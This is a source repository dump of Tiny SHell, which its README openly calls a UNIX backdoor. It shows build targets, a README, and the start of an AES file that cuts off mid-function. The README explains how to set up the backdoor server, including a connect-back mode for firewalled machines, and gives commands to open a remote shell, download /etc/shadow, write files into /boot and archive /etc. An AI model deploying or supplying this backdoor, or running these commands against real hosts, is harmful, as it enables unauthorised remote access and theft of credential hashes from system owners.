├── Makefile ├── README.md ├── aes.c ├── aes.h ├── compile.sh ├── pel.c ├── pel.h ├── sha1.c ├── sha1.h ├── tsh.c ├── tsh.h └── tshd.c /Makefile: -------------------------------------------------------------------------------- 1 | 2 | CLIENT_OBJ=pel.c aes.c sha1.c tsh.c 3 | SERVER_OBJ=pel.c aes.c sha1.c tshd.c 4 | 5 | all: 6 | @echo 7 | @echo "Please specify one of these targets:" 8 | @echo 9 | @echo " make linux" 10 | @echo " make freebsd" 11 | @echo " make openbsd" 12 | @echo " make netbsd" 13 | @echo " make cygwin" 14 | @echo " make sunos" 15 | @echo " make irix" 16 | @echo " make hpux" 17 | @echo " make osf" 18 | @echo 19 | 20 | clean: 21 | rm -f *.o tsh tshd 22 | 23 | linux: 24 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 25 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DLINUX 26 | strip tsh tshd 27 | 28 | freebsd: 29 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 30 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DFREEBSD 31 | strip tsh tshd 32 | 33 | openbsd: 34 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 35 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lutil -DOPENBSD 36 | strip tsh tshd 37 | 38 | netbsd: openbsd 39 | 40 | cygwin: 41 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) 42 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -DCYGWIN 43 | strip tsh tshd 44 | 45 | sunos: 46 | gcc -O -W -Wall -o tsh $(CLIENT_OBJ) -lsocket -lnsl 47 | gcc -O -W -Wall -o tshd $(SERVER_OBJ) -lsocket -lnsl -DSUNOS 48 | strip tsh tshd 49 | 50 | irix: 51 | cc -O -o tsh $(CLIENT_OBJ) 52 | cc -O -o tshd $(SERVER_OBJ) -DIRIX 53 | strip tsh tshd 54 | 55 | hpux: 56 | cc -O -o tsh $(CLIENT_OBJ) 57 | cc -O -o tshd $(SERVER_OBJ) -DHPUX 58 | strip tsh tshd 59 | 60 | osf: 61 | cc -O -o tsh $(CLIENT_OBJ) 62 | cc -O -o tshd $(SERVER_OBJ) -DOSF 63 | strip tsh tshd 64 | 65 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | Tiny SHell - An open-source UNIX backdoor 4 | 5 | 6 | * Before compiling Tiny SHell 7 | 8 | 1. First of all, you should setup your secret key, which 9 | is located in tsh.h; the key can be of any length (use 10 | at least 12 characters for better security). 11 | 12 | 2. It is advised to change SERVER_PORT, the port on which 13 | the server will be listening for incoming connections. 14 | 15 | 3. You may want to start tshd in "connect-back" mode if 16 | it runs on on a firewalled box; simply uncomment and 17 | modify CONNECT_BACK_HOST in tsh.h. 18 | 19 | * Compiling Tiny SHell 20 | 21 | Run "make ", where can be any one of these: 22 | linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf 23 | 24 | * How to use the server 25 | 26 | It can be useful to set $HOME and the file creation mask 27 | before starting the server: 28 | 29 | % umask 077; HOME=/var/tmp ./tshd 30 | 31 | * How to use the client 32 | 33 | Make sure tshd is running on the remote host. You can: 34 | 35 | - start a shell: 36 | 37 | ./tsh 38 | 39 | - execute a command: 40 | 41 | ./tsh "uname -a" 42 | 43 | - transfer files: 44 | 45 | ./tsh get /etc/shadow . 46 | ./tsh put vmlinuz /boot 47 | 48 | Note: if the server runs in connect-back mode, replace 49 | the remote machine hostname with "cb". 50 | 51 | * About multiple file transfers 52 | 53 | At the moment, Tiny SHell does not support scp-like multiple 54 | and/or recursive file transfers. You can work around this bug 55 | by simply making a tar archive and transferring it. Example: 56 | 57 | ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf - 58 | 59 | * About terminal modes 60 | 61 | On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C 62 | and other control keys do not work correctly. Fix it with: 63 | 64 | % stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U" 65 | 66 | * About security 67 | 68 | Please remember that the secret key is stored in clear inside 69 | both tsh and tshd executables; therefore you should make sure 70 | that no one except you has read access to these two files. 71 | However, you may choose not to store the real (valid) key in 72 | the client, which will then ask for a password when it starts. 73 | 74 | -------------------------------------------------------------------------------- /aes.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FIPS-197 compliant AES implementation, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include "aes.h" 8 | 9 | /* forward S-box */ 10 | 11 | static uint32 FSb[256] = 12 | { 13 | 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 14 | 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 15 | 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 16 | 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 17 | 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 18 | 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 19 | 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 20 | 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 21 | 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 22 | 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 23 | 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 24 | 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 25 | 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 26 | 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 27 | 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 28 | 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 29 | 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 30 | 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 31 | 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 32 | 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 33 | 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 34 | 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 35 | 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 36 | 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 37 | 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 38 | 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 39 | 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 40 | 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 41 | 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 42 | 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 43 | 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 44 | 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 45 | }; 46 | 47 | /* forward table */ 48 | 49 | #define FT \ 50 | \ 51 | V(C6,63,63,A5), V(F8,7C,7C,84), V(EE,77,77,99), V(F6,7B,7B,8D), \ 52 | V(FF,F2,F2,0D), V(D6,6B,6B,BD), V(DE,6F,6F,B1), V(91,C5,C5,54), \ 53 | V(60,30,30,50), V(02,01,01,03), V(CE,67,67,A9), V(56,2B,2B,7D), \ 54 | V(E7,FE,FE,19), V(B5,D7,D7,62), V(4D,AB,AB,E6), V(EC,76,76,9A), \ 55 | V(8F,CA,CA,45), V(1F,82,82,9D), V(89,C9,C9,40), V(FA,7D,7D,87), \ 56 | V(EF,FA,FA,15), V(B2,59,59,EB), V(8E,47,47,C9), V(FB,F0,F0,0B), \ 57 | V(41,AD,AD,EC), V(B3,D4,D4,67), V(5F,A2,A2,FD), V(45,AF,AF,EA), \ 58 | V(23,9C,9C,BF), V(53,A4,A4,F7), V(E4,72,72,96), V(9B,C0,C0,5B), \ 59 | V(75,B7,B7,C2), V(E1,FD,FD,1C), V(3D,93,93,AE), V(4C,26,26,6A), \ 60 | V(6C,36,36,5A), V(7E,3F,3F,41), V(F5,F7,F7,02), V(83,CC,CC,4F), \ 61 | V(68,34,34,5C), V(51,A5,A5,F4), V(D1,E5,E5,34), V(F9,F1,F1,08), \ 62 | V(E2,71,71,93), V(AB,D8,D8,73), V(62,31,31,53), V(2A,15,15,3F), \ 63 | V(08,04,04,0C), V(95,C7,C7,52), V(46,23,23,65), V(9D,C3,C3,5E), \ 64 | V(30,18,18,28), V(37,96,96,A1), V(0A,05,05,0F), V(2F,9A,9A,B5), \ 65 | V(0E,07,07,09), V(24,12,12,36), V(1B,80,80,9B), V(DF,E2,E2,3D), \ 66 | V(CD,EB,EB,26), V(4E,27,27,69), V(7F,B2,B2,CD), V(EA,75,75,9F), \ 67 | V(12,09,09,1B), V(1D,83,83,9E), V(58,2C,2C,74), V(34,1A,1A,2E), \ 68 | V(36,1B,1B,2D), V(DC,6E,6E,B2), V(B4,5A,5A,EE), V(5B,A0,A0,FB), \ 69 | V(A4,52,52,F6), V(76,3B,3B,4D), V(B7,D6,D6,61), V(7D,B3,B3,CE), \ 70 | V(52,29,29,7B), V(DD,E3,E3,3E), V(5E,2F,2F,71), V(13,84,84,97), \ 71 | V(A6,53,53,F5), V(B9,D1,D1,68), V(00,00,00,00), V(C1,ED,ED,2C), \ 72 | V(40,20,20,60), V(E3,FC,FC,1F), V(79,B1,B1,C8), V(B6,5B,5B,ED), \ 73 | V(D4,6A,6A,BE), V(8D,CB,CB,46), V(67,BE,BE,D9), V(72,39,39,4B), \ 74 | V(94,4A,4A,DE), V(98,4C,4C,D4), V(B0,58,58,E8), V(85,CF,CF,4A), \ 75 | V(BB,D0,D0,6B), V(C5,EF,EF,2A), V(4F,AA,AA,E5), V(ED,FB,FB,16), \ 76 | V(86,43,43,C5), V(9A,4D,4D,D7), V(66,33,33,55), V(11,85,85,94), \ 77 | V(8A,45,45,CF), V(E9,F9,F9,10), V(04,02,02,06), V(FE,7F,7F,81), \ 78 | V(A0,50,50,F0), V(78,3C,3C,44), V(25,9F,9F,BA), V(4B,A8,A8,E3), \ 79 | V(A2,51,51,F3), V(5D,A3,A3,FE), V(80,40,40,C0), V(05,8F,8F,8A), \ 80 | V(3F,92,92,AD), V(21,9D,9D,BC), V(70,38,38,48), V(F1,F5,F5,04), \ 81 | V(63,BC,BC,DF), V(77,B6,B6,C1), V(AF,DA,DA,75), V(42,21,21,63), \ 82 | V(20,10,10,30), V(E5,FF,FF,1A), V(FD,F3,F3,0E), V(BF,D2,D2,6D), \ 83 | V(81,CD,CD,4C), V(18,0C,0C,14), V(26,13,13,35), V(C3,EC,EC,2F), \ 84 | V(BE,5F,5F,E1), V(35,97,97,A2), V(88,44,44,CC), V(2E,17,17,39), \ 85 | V(93,C4,C4,57), V(55,A7,A7,F2), V(FC,7E,7E,82), V(7A,3D,3D,47), \ 86 | V(C8,64,64,AC), V(BA,5D,5D,E7), V(32,19,19,2B), V(E6,73,73,95), \ 87 | V(C0,60,60,A0), V(19,81,81,98), V(9E,4F,4F,D1), V(A3,DC,DC,7F), \ 88 | V(44,22,22,66), V(54,2A,2A,7E), V(3B,90,90,AB), V(0B,88,88,83), \ 89 | V(8C,46,46,CA), V(C7,EE,EE,29), V(6B,B8,B8,D3), V(28,14,14,3C), \ 90 | V(A7,DE,DE,79), V(BC,5E,5E,E2), V(16,0B,0B,1D), V(AD,DB,DB,76), \ 91 | V(DB,E0,E0,3B), V(64,32,32,56), V(74,3A,3A,4E), V(14,0A,0A,1E), \ 92 | V(92,49,49,DB), V(0C,06,06,0A), V(48,24,24,6C), V(B8,5C,5C,E4), \ 93 | V(9F,C2,C2,5D), V(BD,D3,D3,6E), V(43,AC,AC,EF), V(C4,62,62,A6), \ 94 | V(39,91,91,A8), V(31,95,95,A4), V(D3,E4,E4,37), V(F2,79,79,8B), \ 95 | V(D5,E7,E7,32), V(8B,C8,C8,43), V(6E,37,37,59), V(DA,6D,6D,B7), \ 96 | V(01,8D,8D,8C), V(B1,D5,D5,64), V(9C,4E,4E,D2), V(49,A9,A9,E0), \ 97 | V(D8,6C,6C,B4), V(AC,56,56,FA), V(F3,F4,F4,07), V(CF,EA,EA,25), \ 98 | V(CA,65,65,AF), V(F4,7A,7A,8E), V(47,AE,AE,E9), V(10,08,08,18), \ 99 | V(6F,BA,BA,D5), V(F0,78,78,88), V(4A,25,25,6F), V(5C,2E,2E,72), \ 100 | V(38,1C,1C,24), V(57,A6,A6,F1), V(73,B4,B4,C7), V(97,C6,C6,51), \ 101 | V(CB,E8,E8,23), V(A1,DD,DD,7C), V(E8,74,74,9C), V(3E,1F,1F,21), \ 102 | V(96,4B,4B,DD), V(61,BD,BD,DC), V(0D,8B,8B,86), V(0F,8A,8A,85), \ 103 | V(E0,70,70,90), V(7C,3E,3E,42), V(71,B5,B5,C4), V(CC,66,66,AA), \ 104 | V(90,48,48,D8), V(06,03,03,05), V(F7,F6,F6,01), V(1C,0E,0E,12), \ 105 | V(C2,61,61,A3), V(6A,35,35,5F), V(AE,57,57,F9), V(69,B9,B9,D0), \ 106 | V(17,86,86,91), V(99,C1,C1,58), V(3A,1D,1D,27), V(27,9E,9E,B9), \ 107 | V(D9,E1,E1,38), V(EB,F8,F8,13), V(2B,98,98,B3), V(22,11,11,33), \ 108 | V(D2,69,69,BB), V(A9,D9,D9,70), V(07,8E,8E,89), V(33,94,94,A7), \ 109 | V(2D,9B,9B,B6), V(3C,1E,1E,22), V(15,87,87,92), V(C9,E9,E9,20), \ 110 | V(87,CE,CE,49), V(AA,55,55,FF), V(50,28,28,78), V(A5,DF,DF,7A), \ 111 | V(03,8C,8C,8F), V(59,A1,A1,F8), V(09,89,89,80), V(1A,0D,0D,17), \ 112 | V(65,BF,BF,DA), V(D7,E6,E6,31), V(84,42,42,C6), V(D0,68,68,B8), \ 113 | V(82,41,41,C3), V(29,99,99,B0), V(5A,2D,2D,77), V(1E,0F,0F,11), \ 114 | V(7B,B0,B0,CB), V(A8,54,54,FC), V(6D,BB,BB,D6), V(2C,16,16,3A) 115 | 116 | #define V(a,b,c,d) 0x##a##b##c##d 117 | static uint32 FT0[256] = { FT }; 118 | #undef V 119 | 120 | #define V(a,b,c,d) 0x##d##a##b##c 121 | static uint32 FT1[256] = { FT }; 122 | #undef V 123 | 124 | #define V(a,b,c,d) 0x##c##d##a##b 125 | static uint32 FT2[256] = { FT }; 126 | #undef V 127 | 128 | #define V(a,b,c,d) 0x##b##c##d##a 129 | static uint32 FT3[256] = { FT }; 130 | #undef V 131 | 132 | /* reverse S-box */ 133 | 134 | static uint32 RSb[256] = 135 | { 136 | 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 137 | 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 138 | 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 139 | 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 140 | 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 141 | 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 142 | 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 143 | 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 144 | 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 145 | 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 146 | 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 147 | 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 148 | 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 149 | 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 150 | 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 151 | 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 152 | 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 153 | 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 154 | 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 155 | 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 156 | 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 157 | 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 158 | 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 159 | 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 160 | 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 161 | 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 162 | 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 163 | 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 164 | 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 165 | 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 166 | 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 167 | 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D 168 | }; 169 | 170 | /* reverse table */ 171 | 172 | #define RT \ 173 | \ 174 | V(51,F4,A7,50), V(7E,41,65,53), V(1A,17,A4,C3), V(3A,27,5E,96), \ 175 | V(3B,AB,6B,CB), V(1F,9D,45,F1), V(AC,FA,58,AB), V(4B,E3,03,93), \ 176 | V(20,30,FA,55), V(AD,76,6D,F6), V(88,CC,76,91), V(F5,02,4C,25), \ 177 | V(4F,E5,D7,FC), V(C5,2A,CB,D7), V(26,35,44,80), V(B5,62,A3,8F), \ 178 | V(DE,B1,5A,49), V(25,BA,1B,67), V(45,EA,0E,98), V(5D,FE,C0,E1), \ 179 | V(C3,2F,75,02), V(81,4C,F0,12), V(8D,46,97,A3), V(6B,D3,F9,C6), \ 180 | V(03,8F,5F,E7), V(15,92,9C,95), V(BF,6D,7A,EB), V(95,52,59,DA), \ 181 | V(D4,BE,83,2D), V(58,74,21,D3), V(49,E0,69,29), V(8E,C9,C8,44), \ 182 | V(75,C2,89,6A), V(F4,8E,79,78), V(99,58,3E,6B), V(27,B9,71,DD), \ 183 | V(BE,E1,4F,B6), V(F0,88,AD,17), V(C9,20,AC,66), V(7D,CE,3A,B4), \ 184 | V(63,DF,4A,18), V(E5,1A,31,82), V(97,51,33,60), V(62,53,7F,45), \ 185 | V(B1,64,77,E0), V(BB,6B,AE,84), V(FE,81,A0,1C), V(F9,08,2B,94), \ 186 | V(70,48,68,58), V(8F,45,FD,19), V(94,DE,6C,87), V(52,7B,F8,B7), \ 187 | V(AB,73,D3,23), V(72,4B,02,E2), V(E3,1F,8F,57), V(66,55,AB,2A), \ 188 | V(B2,EB,28,07), V(2F,B5,C2,03), V(86,C5,7B,9A), V(D3,37,08,A5), \ 189 | V(30,28,87,F2), V(23,BF,A5,B2), V(02,03,6A,BA), V(ED,16,82,5C), \ 190 | V(8A,CF,1C,2B), V(A7,79,B4,92), V(F3,07,F2,F0), V(4E,69,E2,A1), \ 191 | V(65,DA,F4,CD), V(06,05,BE,D5), V(D1,34,62,1F), V(C4,A6,FE,8A), \ 192 | V(34,2E,53,9D), V(A2,F3,55,A0), V(05,8A,E1,32), V(A4,F6,EB,75), \ 193 | V(0B,83,EC,39), V(40,60,EF,AA), V(5E,71,9F,06), V(BD,6E,10,51), \ 194 | V(3E,21,8A,F9), V(96,DD,06,3D), V(DD,3E,05,AE), V(4D,E6,BD,46), \ 195 | V(91,54,8D,B5), V(71,C4,5D,05), V(04,06,D4,6F), V(60,50,15,FF), \ 196 | V(19,98,FB,24), V(D6,BD,E9,97), V(89,40,43,CC), V(67,D9,9E,77), \ 197 | V(B0,E8,42,BD), V(07,89,8B,88), V(E7,19,5B,38), V(79,C8,EE,DB), \ 198 | V(A1,7C,0A,47), V(7C,42,0F,E9), V(F8,84,1E,C9), V(00,00,00,00), \ 199 | V(09,80,86,83), V(32,2B,ED,48), V(1E,11,70,AC), V(6C,5A,72,4E), \ 200 | V(FD,0E,FF,FB), V(0F,85,38,56), V(3D,AE,D5,1E), V(36,2D,39,27), \ 201 | V(0A,0F,D9,64), V(68,5C,A6,21), V(9B,5B,54,D1), V(24,36,2E,3A), \ 202 | V(0C,0A,67,B1), V(93,57,E7,0F), V(B4,EE,96,D2), V(1B,9B,91,9E), \ 203 | V(80,C0,C5,4F), V(61,DC,20,A2), V(5A,77,4B,69), V(1C,12,1A,16), \ 204 | V(E2,93,BA,0A), V(C0,A0,2A,E5), V(3C,22,E0,43), V(12,1B,17,1D), \ 205 | V(0E,09,0D,0B), V(F2,8B,C7,AD), V(2D,B6,A8,B9), V(14,1E,A9,C8), \ 206 | V(57,F1,19,85), V(AF,75,07,4C), V(EE,99,DD,BB), V(A3,7F,60,FD), \ 207 | V(F7,01,26,9F), V(5C,72,F5,BC), V(44,66,3B,C5), V(5B,FB,7E,34), \ 208 | V(8B,43,29,76), V(CB,23,C6,DC), V(B6,ED,FC,68), V(B8,E4,F1,63), \ 209 | V(D7,31,DC,CA), V(42,63,85,10), V(13,97,22,40), V(84,C6,11,20), \ 210 | V(85,4A,24,7D), V(D2,BB,3D,F8), V(AE,F9,32,11), V(C7,29,A1,6D), \ 211 | V(1D,9E,2F,4B), V(DC,B2,30,F3), V(0D,86,52,EC), V(77,C1,E3,D0), \ 212 | V(2B,B3,16,6C), V(A9,70,B9,99), V(11,94,48,FA), V(47,E9,64,22), \ 213 | V(A8,FC,8C,C4), V(A0,F0,3F,1A), V(56,7D,2C,D8), V(22,33,90,EF), \ 214 | V(87,49,4E,C7), V(D9,38,D1,C1), V(8C,CA,A2,FE), V(98,D4,0B,36), \ 215 | V(A6,F5,81,CF), V(A5,7A,DE,28), V(DA,B7,8E,26), V(3F,AD,BF,A4), \ 216 | V(2C,3A,9D,E4), V(50,78,92,0D), V(6A,5F,CC,9B), V(54,7E,46,62), \ 217 | V(F6,8D,13,C2), V(90,D8,B8,E8), V(2E,39,F7,5E), V(82,C3,AF,F5), \ 218 | V(9F,5D,80,BE), V(69,D0,93,7C), V(6F,D5,2D,A9), V(CF,25,12,B3), \ 219 | V(C8,AC,99,3B), V(10,18,7D,A7), V(E8,9C,63,6E), V(DB,3B,BB,7B), \ 220 | V(CD,26,78,09), V(6E,59,18,F4), V(EC,9A,B7,01), V(83,4F,9A,A8), \ 221 | V(E6,95,6E,65), V(AA,FF,E6,7E), V(21,BC,CF,08), V(EF,15,E8,E6), \ 222 | V(BA,E7,9B,D9), V(4A,6F,36,CE), V(EA,9F,09,D4), V(29,B0,7C,D6), \ 223 | V(31,A4,B2,AF), V(2A,3F,23,31), V(C6,A5,94,30), V(35,A2,66,C0), \ 224 | V(74,4E,BC,37), V(FC,82,CA,A6), V(E0,90,D0,B0), V(33,A7,D8,15), \ 225 | V(F1,04,98,4A), V(41,EC,DA,F7), V(7F,CD,50,0E), V(17,91,F6,2F), \ 226 | V(76,4D,D6,8D), V(43,EF,B0,4D), V(CC,AA,4D,54), V(E4,96,04,DF), \ 227 | V(9E,D1,B5,E3), V(4C,6A,88,1B), V(C1,2C,1F,B8), V(46,65,51,7F), \ 228 | V(9D,5E,EA,04), V(01,8C,35,5D), V(FA,87,74,73), V(FB,0B,41,2E), \ 229 | V(B3,67,1D,5A), V(92,DB,D2,52), V(E9,10,56,33), V(6D,D6,47,13), \ 230 | V(9A,D7,61,8C), V(37,A1,0C,7A), V(59,F8,14,8E), V(EB,13,3C,89), \ 231 | V(CE,A9,27,EE), V(B7,61,C9,35), V(E1,1C,E5,ED), V(7A,47,B1,3C), \ 232 | V(9C,D2,DF,59), V(55,F2,73,3F), V(18,14,CE,79), V(73,C7,37,BF), \ 233 | V(53,F7,CD,EA), V(5F,FD,AA,5B), V(DF,3D,6F,14), V(78,44,DB,86), \ 234 | V(CA,AF,F3,81), V(B9,68,C4,3E), V(38,24,34,2C), V(C2,A3,40,5F), \ 235 | V(16,1D,C3,72), V(BC,E2,25,0C), V(28,3C,49,8B), V(FF,0D,95,41), \ 236 | V(39,A8,01,71), V(08,0C,B3,DE), V(D8,B4,E4,9C), V(64,56,C1,90), \ 237 | V(7B,CB,84,61), V(D5,32,B6,70), V(48,6C,5C,74), V(D0,B8,57,42) 238 | 239 | #define V(a,b,c,d) 0x##a##b##c##d 240 | static uint32 RT0[256] = { RT }; 241 | #undef V 242 | 243 | #define V(a,b,c,d) 0x##d##a##b##c 244 | static uint32 RT1[256] = { RT }; 245 | #undef V 246 | 247 | #define V(a,b,c,d) 0x##c##d##a##b 248 | static uint32 RT2[256] = { RT }; 249 | #undef V 250 | 251 | #define V(a,b,c,d) 0x##b##c##d##a 252 | static uint32 RT3[256] = { RT }; 253 | #undef V 254 | 255 | /* round constants */ 256 | 257 | static uint32 RCON[10] = 258 | { 259 | 0x01000000, 0x02000000, 0x04000000, 0x08000000, 260 | 0x10000000, 0x20000000, 0x40000000, 0x80000000, 261 | 0x1B000000, 0x36000000 262 | }; 263 | 264 | /* platform-independant 32-bit integer manipulation macros */ 265 | 266 | #define GET_UINT32(n,b,i) \ 267 | { \ 268 | (n) = ( (uint32) (b)[(i) ] << 24 ) \ 269 | | ( (uint32) (b)[(i) + 1] << 16 ) \ 270 | | ( (uint32) (b)[(i) + 2] << 8 ) \ 271 | | ( (uint32) (b)[(i) + 3] ); \ 272 | } 273 | 274 | #define PUT_UINT32(n,b,i) \ 275 | { \ 276 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \ 277 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ 278 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ 279 | (b)[(i) + 3] = (uint8) ( (n) ); \ 280 | } 281 | 282 | /* key scheduling routine */ 283 | 284 | int aes_set_key( struct aes_context *ctx, uint8 *key, int nbits ) 285 | { 286 | int i; 287 | uint32 *RK; 288 | 289 | switch( nbits ) 290 | { 291 | case 128: ctx->nr = 10; break; 292 | case 192: ctx->nr = 12; break; 293 | case 256: ctx->nr = 14; break; 294 | default : return( 1 ); 295 | } 296 | 297 | RK = ctx->erk; 298 | 299 | for( i = 0; i < (nbits >> 5); i++ ) 300 | { 301 | GET_UINT32( RK[i], key, i * 4 ); 302 | } 303 | 304 | /* setup encryption round keys */ 305 | 306 | switch( nbits ) 307 | { 308 | case 128: 309 | 310 | for( i = 0; i < 10; i++, RK += 4 ) 311 | { 312 | RK[4] = RK[0] ^ RCON[i] ^ 313 | ( FSb[ (uint8) ( RK[3] >> 16 ) ] << 24 ) ^ 314 | ( FSb[ (uint8) ( RK[3] >> 8 ) ] << 16 ) ^ 315 | ( FSb[ (uint8) ( RK[3] ) ] << 8 ) ^ 316 | ( FSb[ (uint8) ( RK[3] >> 24 ) ] ); 317 | 318 | RK[5] = RK[1] ^ RK[4]; 319 | RK[6] = RK[2] ^ RK[5]; 320 | RK[7] = RK[3] ^ RK[6]; 321 | } 322 | break; 323 | 324 | case 192: 325 | 326 | for( i = 0; i < 8; i++, RK += 6 ) 327 | { 328 | RK[6] = RK[0] ^ RCON[i] ^ 329 | ( FSb[ (uint8) ( RK[5] >> 16 ) ] << 24 ) ^ 330 | ( FSb[ (uint8) ( RK[5] >> 8 ) ] << 16 ) ^ 331 | ( FSb[ (uint8) ( RK[5] ) ] << 8 ) ^ 332 | ( FSb[ (uint8) ( RK[5] >> 24 ) ] ); 333 | 334 | RK[7] = RK[1] ^ RK[6]; 335 | RK[8] = RK[2] ^ RK[7]; 336 | RK[9] = RK[3] ^ RK[8]; 337 | RK[10] = RK[4] ^ RK[9]; 338 | RK[11] = RK[5] ^ RK[10]; 339 | } 340 | break; 341 | 342 | case 256: 343 | 344 | for( i = 0; i < 7; i++, RK += 8 ) 345 | { 346 | RK[8] = RK[0] ^ RCON[i] ^ 347 | ( FSb[ (uint8) ( RK[7] >> 16 ) ] << 24 ) ^ 348 | ( FSb[ (uint8) ( RK[7] >> 8 ) ] << 16 ) ^ 349 | ( FSb[ (uint8) ( RK[7] ) ] << 8 ) ^ 350 | ( FSb[ (uint8) ( RK[7] >> 24 ) ] ); 351 | 352 | RK[9] = RK[1] ^ RK[8]; 353 | RK[10] = RK[2] ^ RK[9]; 354 | RK[11] = RK[3] ^ RK[10]; 355 | 356 | RK[12] = RK[4] ^ 357 | ( FSb[ 